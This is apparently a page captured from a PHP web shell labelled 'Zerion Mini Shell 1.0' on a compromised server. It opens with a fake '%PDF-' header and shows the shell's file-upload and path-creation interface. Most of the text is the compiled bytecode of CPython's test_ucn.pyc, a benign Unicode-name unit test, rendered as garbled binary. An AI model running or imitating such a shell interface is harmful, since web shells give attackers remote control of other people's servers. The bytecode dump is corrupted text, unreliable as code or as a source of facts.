%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/test_ucn.pyc

ó
Nêáac@s¬dZddlZddlZddlmZy ddlmZmZmZWne	k
rod
ZZZnXdej
fd	„ƒYZd
„Ze
dkr¨eƒndS(s¾ Test script for the Unicode implementation.

Written by Bill Tutt.
Modified for Python 2.0 by Fredrik Lundh (fredrik@pythonware.com)

(c) Copyright CNRI, All Rights Reserved. NO WARRANTY.

iÿÿÿÿN(ttest_support(tINT_MAXtPY_SSIZE_T_MAXtUINT_MAXii@itUnicodeNamesTestcBsÈeZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
eje
jeekd	ƒe
jeejkd
ƒejdedd
ddedƒƒd„ƒƒƒƒZRS(cCs$td|ƒ}|j||ƒ|S(Nu	u"\N{%s}"(tevaltassertEqual(tselftnametcodetres((s)/usr/local/lib/python2.7/test/test_ucn.pytcheckletterscCsœdddddddddd	d
ddddddddd
ddddddg}d}|jdjgt||ƒD]}|j|Œ^qvƒ|ƒdS(NsLATIN CAPITAL LETTER TsLATIN SMALL LETTER HsLATIN SMALL LETTER EtSPACEsLATIN SMALL LETTER RsLATIN CAPITAL LETTER EsLATIN SMALL LETTER DsLATIN SMALL LETTER fsLATIN CAPITAL LeTtEr osLATIN SMaLl LETTER xsLATIN SMALL LETTER AsLATIN SMALL LETTER TtSpAcEsLATIN SMALL LETTER SsLATIN small LETTER esLATIN SMALL LETTER Ps	FULL STOPuThe rEd fOx ate the sheep.u(RtjointzipR(Rtcharststringtargs((s)/usr/local/lib/python2.7/test/test_ucn.pyttest_generals<	1cCs€ddl}xmdjttttdƒtdƒƒƒƒD]>}d|jƒ}|j|ƒ}|j|j	|ƒ|ƒq:WdS(NiÿÿÿÿttatzsLATIN SMALL LETTER %s(
tunicodedataRtmaptchrtxrangetordtuppertlookupRR(RRtcharRR	((s)/usr/local/lib/python2.7/test/test_ucn.pyttest_ascii_lettersCs
4cCsö|jddƒ|jddƒ|jddƒ|jddƒ|jd	d
ƒ|jddƒ|jd
dƒ|jddƒ|jddƒ|jddƒ|jddƒ|jddƒ|jddƒddl}|jt|jdƒdS(NsHANGUL SYLLABLE GAuê°€sHANGUL SYLLABLE GGWEOSSu꿨sHANGUL SYLLABLE DOLSuësHANGUL SYLLABLE RYANu랸sHANGUL SYLLABLE MWIKuë® sHANGUL SYLLABLE BBWAEMu뾈sHANGUL SYLLABLE SSEOLuì°sHANGUL SYLLABLE YIuì˜sHANGUL SYLLABLE JJYOSSuì­€sHANGUL SYLLABLE KYEOLSu켨sHANGUL SYLLABLE PANuíŒsHANGUL SYLLABLE HWEOKu훸sHANGUL SYLLABLE HIHu힣iÿÿÿÿu힤(RRtassertRaisest
ValueErrorR(RR((s)/usr/local/lib/python2.7/test/test_ucn.pyttest_hangul_syllablesKscCsd|jddƒ|jddƒ|jddƒ|jddƒ|jd	d
ƒ|jddƒdS(
NsCJK UNIFIED IDEOGRAPH-3400uã€sCJK UNIFIED IDEOGRAPH-4DB5uä¶µsCJK UNIFIED IDEOGRAPH-4E00u一sCJK UNIFIED IDEOGRAPH-9FA5ué¾¥sCJK UNIFIED IDEOGRAPH-20000uð €€sCJK UNIFIED IDEOGRAPH-2A6D6u𪛖(R(R((s)/usr/local/lib/python2.7/test/test_ucn.pyttest_cjk_unified_ideographs]scCs}ddl}d}xdtdƒD]V}t|ƒ}|j|dƒ}|dk	r|j|j|ƒ|ƒ|d7}qqWdS(Niÿÿÿÿiii(RRtunichrRtNoneRR(RRtcountR	RR((s)/usr/local/lib/python2.7/test/test_ucn.pyttest_bmp_charactersescCsD|jddƒ|jddƒ|jddƒ|jddƒdS(	NsPILCROW SIGNu¶sREPLACEMENT CHARACTERu�s)HALFWIDTH KATAKANA SEMI-VOICED SOUND MARKu゚sFULLWIDTH LATIN SMALL LETTER Auï½(R(R((s)/usr/local/lib/python2.7/test/test_ucn.pyttest_misc_symbolsoscCsbddl}|jt|jƒ|jt|jdƒ|jt|jƒ|jt|jdƒdS(Niÿÿÿÿuxxuunknown(RR t	TypeErrorRRtKeyError(RR((s)/usr/local/lib/python2.7/test/test_ucn.pyttest_errorsus
cCsp|jttdddƒ|jttdddddƒ|jttdddƒ|jttdddƒdS(	Ns\N{blah}sunicode-escapetstricts\N{%s}txi †s\N{SPACEs\NSPACE(R tUnicodeErrortunicode(R((s)/usr/local/lib/python2.7/test/test_ucn.pyttest_strict_eror_handling|ssneeds UINT_MAX < SIZE_MAXsneeds UINT_MAX < sys.maxinttminsizeitmemuseiiuð€€cCs¢|j}||jkrEtjd|j|jtdƒfƒ‚nddttdƒd}|jt	|ƒt	dƒtdƒ|j
td	|jd
ƒdS(Ns'not enough memory: %.1fG minimum needediis\N{SPACER-it}s	\N{SPACE}sunknown Unicode character namesunicode-escapei@(
ttest_issue16335R1tunittesttSkipTestR2tfloattintRRtlentassertRaisesRegexpR.tdecode(RtsizetfuncR-((s)/usr/local/lib/python2.7/test/test_ucn.pyR4’s		$$	(t__name__t
__module__RRRR"R#R'R(R+R0Rtcpython_onlyR5t
skipUnlessRRRtsystmaxintt
bigmemtestR9R4(((s)/usr/local/lib/python2.7/test/test_ucn.pyRs		%				
			cCstjtƒdS(N(Rtrun_unittestR(((s)/usr/local/lib/python2.7/test/test_ucn.pyt	test_main¥st__main__llÿÿÿÿ(t__doc__R5RBttestRt	_testcapiRRRtImportErrortTestCaseRRFR>(((s)/usr/local/lib/python2.7/test/test_ucn.pyt<module>s 
‘	

Zerion Mini Shell 1.0